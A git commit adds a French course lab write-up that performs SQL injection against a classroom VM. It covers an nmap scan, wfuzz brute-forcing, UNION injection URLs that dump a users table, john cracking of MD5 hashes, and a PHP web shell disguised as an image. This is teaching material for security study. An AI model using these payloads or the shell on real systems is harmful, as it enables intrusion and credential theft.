First SQL injection TDM version
This commit is contained in:
parent
978e85d0cc
commit
0f122ff54b
2 changed files with 181 additions and 0 deletions
BIN
content/securite/TDM_4-injection_SQL/files/TP4.pdf
Normal file
BIN
content/securite/TDM_4-injection_SQL/files/TP4.pdf
Normal file
Binary file not shown.
181
content/securite/TDM_4-injection_SQL/index.md
Normal file
181
content/securite/TDM_4-injection_SQL/index.md
Normal file
|
@ -0,0 +1,181 @@
|
|||
---
|
||||
title: "TDM : Injection SQL"
|
||||
date: 2019-02-21
|
||||
categories: ['Sécurité', 'TD machine']
|
||||
tags : ['wfuzz', 'site Internet', 'SQL', 'kali']
|
||||
---
|
||||
|
||||
Le but de ce TD est d'utiliser les injection SQL pour s'introduire dans un site
|
||||
Internet et d'utiliser celui-ci pour prendre le contrôle de la machine. Nous
|
||||
allons utiliser des logiciels comme [burp suite][l-burpsuite], [wfuzz][l-wfuzz]
|
||||
et [BeEf][l-beef].
|
||||
|
||||
## Trouver la machine à attaquer
|
||||
|
||||
Avant de commences toute attaque, il faut trouver une victime. Comme pour le TDM
|
||||
sur les attaques réseau, nous allons utiliser `nmap`. La machine à attaquer
|
||||
étant sur le même réseau que nous, commençons par trouver notre ip avec la
|
||||
commande suivante :
|
||||
|
||||
```
|
||||
ip -4 a show dev wlan0 | grep inet | cut -d ' ' -f 6
|
||||
172.16.8.234/24
|
||||
```
|
||||
|
||||
Il nous suffit maintenant de chercher une machine dans le réseau
|
||||
`172.16.8.0/24`:
|
||||
|
||||
```
|
||||
nmap -sS -p 80 --open 172.16.8.0/24
|
||||
|
||||
[...]
|
||||
Nmap scan report for 172.16.8.189
|
||||
Host is up (0.0057s latency).
|
||||
|
||||
PORT STATE SERVICE
|
||||
80/tcp open http
|
||||
MAC Address: XX:XX:XX:XX:XX:48 (Virtual Machine)
|
||||
|
||||
[...]
|
||||
```
|
||||
|
||||
Nous avons repérer la machine à attaquer, mais ne nous arrêtons pas en si bon
|
||||
chemin, il est tout à fait possible d'en apprendre un peu plus avec `nmap -sC`
|
||||
pour peut-être découvrir quelque chose d'exploitable.
|
||||
|
||||
## Faire le tour du propriétaire
|
||||
|
||||
Connectons nous maintenant sur le site avec notre navigateur et promenons nous
|
||||
sur le site. C'est un blog photo en PHP qui affiche des images de façon
|
||||
dynamique. En analysant le code source de la page
|
||||
|
||||
## trouver des URL "cachées"
|
||||
|
||||
Il est probable que certaines parties du site soit cachées comme par exemple
|
||||
les pages d'administration. Utilisons [wfuzz][l-wfuzz], logiciel d'analyse de
|
||||
site par bruteforce.
|
||||
|
||||
```
|
||||
wfuzz -c -w /usr/share/wordlists/wfuzz/general/big.txt -p --hc 404 http://172.16.8.189/FUZZ
|
||||
```
|
||||
|
||||
|
||||
## Exfilter des données
|
||||
|
||||
La page d'affichage des images semble être sensible à l'injection d'une requête
|
||||
SQL par la méthode HTTP GET (directement dans l'URL). La requête de sélection
|
||||
des photos semble être de la forme :
|
||||
|
||||
```SQL
|
||||
SELECT * FROM <t_photo> WHERE <t_photo>.id = id;
|
||||
```
|
||||
|
||||
L'URL de la page est alors `http://172.16.8.186/picture.php?picture=id`
|
||||
|
||||
### utiliser la clause UNION pour extraire des données
|
||||
|
||||
La clause SQL `UNION` va nous permettre d'ajouter des informations extraites de
|
||||
la base par le biais de cette page mais attention : la seconde partie de la
|
||||
requête (après le `UNION`) devra comporter le même nombre de colonnes que la
|
||||
première.
|
||||
|
||||
#### Utiliser ORDER BY pour trouver le nombre de colonnes
|
||||
|
||||
Pour trouver ce fameux nombre de colonnes, nous allons utiliser la clause `ORDER
|
||||
BY` et procéder par dichotomie : classons les résultats en commençant par la
|
||||
colonne 10 L'URL est alors :
|
||||
|
||||
```
|
||||
http://172.16.8.189/picture.php?picture=1' ORDER BY 10
|
||||
```
|
||||
|
||||
En cas d'erreur utilisons la colonne 5 sinon passons la 20 et ainsi
|
||||
de suite jusqu'à trouver le bon nombre.
|
||||
|
||||
Dans le cadre du TP, le nombre de colonnes est **4**
|
||||
|
||||
### Trouver le schéma de la base de données
|
||||
|
||||
Pour mener une action efficace, nous devons **en apprendre plus sur le schéma de
|
||||
cette base**. Dans chaque SGBDR, les information relative aux base sont stockée
|
||||
dans une table spécifique. Mysql / MariaDB étant le plus utilisé des SGBDR, nous
|
||||
allons tenter de rechercher dans ce sens :
|
||||
|
||||
```SQL
|
||||
UNION SELECT 1,concat(table_name,";",column_name),1,1
|
||||
FROM information_schema.columns
|
||||
```
|
||||
|
||||
L'URL est alors :
|
||||
|
||||
```
|
||||
http://172.16.8.189/picture.php?picture=1' SELECT 1,concat(table_name,":", [...]
|
||||
```
|
||||
|
||||
Bien vu, la page affiche maintenant les informations demandées, nous avons
|
||||
trouvé la table intéressante et ses champs :
|
||||
|
||||
```
|
||||
users.id
|
||||
users.login
|
||||
users.passwd
|
||||
```
|
||||
|
||||
### Extraire les identifiants
|
||||
|
||||
Nous avons maintenant toutes les cartes en main pour extraire les identifiants
|
||||
des comptes utilisateurs du site, la requête est alors :
|
||||
|
||||
```SQL
|
||||
UNION SELECT 1,concat(login,":",passwd),1,1
|
||||
FROM users
|
||||
```
|
||||
|
||||
Les identifiants récupérés seront sous la forme `user:pass`, il suffit de les
|
||||
enregistrer dans un fichier texte pour les passer ensuite à `john`.
|
||||
|
||||
## Casser les mots de passes.
|
||||
|
||||
Les mots de passe récupérés vont être passé à `john` avec en paramètre une liste
|
||||
de mots de passe les plus connu. Il est aussi possible de soumettre directement
|
||||
des `hashes` des mots de passes à un moteur de recherche (Google par exemple).
|
||||
|
||||
```shell
|
||||
john -format=raw-MD5 --wordlist=biglist.txt extracted_pass.txt
|
||||
```
|
||||
|
||||
Dans le cadre du TDM, les deux mots de passes récupérés ont été trouvés dont
|
||||
celui du compte `admin`.
|
||||
|
||||
## Se connecter à la partie administration du site
|
||||
|
||||
## Uploader un fichier php
|
||||
|
||||
Il est temps maintenant temps de créer un fichier php malveillant et de
|
||||
l'uploader sur le serveur. Le but pourrait être de masquer complètement notre
|
||||
script : s'il est appelé avec un paramètre il exécute le paramètre comme une
|
||||
commande, sinon il affiche une image déjà existante sur le serveur :
|
||||
|
||||
```php
|
||||
<?php
|
||||
|
||||
if ($_GET["c"]) {
|
||||
$cmd = system($_GET["c"],$ret);
|
||||
echo $cmd;
|
||||
}
|
||||
else {
|
||||
$name = 'hackerman.jpeg';
|
||||
$fp = fopen($name, 'rb');
|
||||
|
||||
// send the right headers
|
||||
header("Content-Type: image/png");
|
||||
header("Content-Length: " . filesize($name));
|
||||
// dump the picture and stop the script
|
||||
fpassthru($fp);
|
||||
exit;
|
||||
}
|
||||
?>
|
||||
```
|
||||
[l-burpsuite]:https://portswigger.net/burp
|
||||
[l-wfuzz]:https://github.com/xmendez/wfuzz
|
||||
[l-BeEf]:https://beefproject.com/
|
Loading…
Add table
Add a link
Reference in a new issue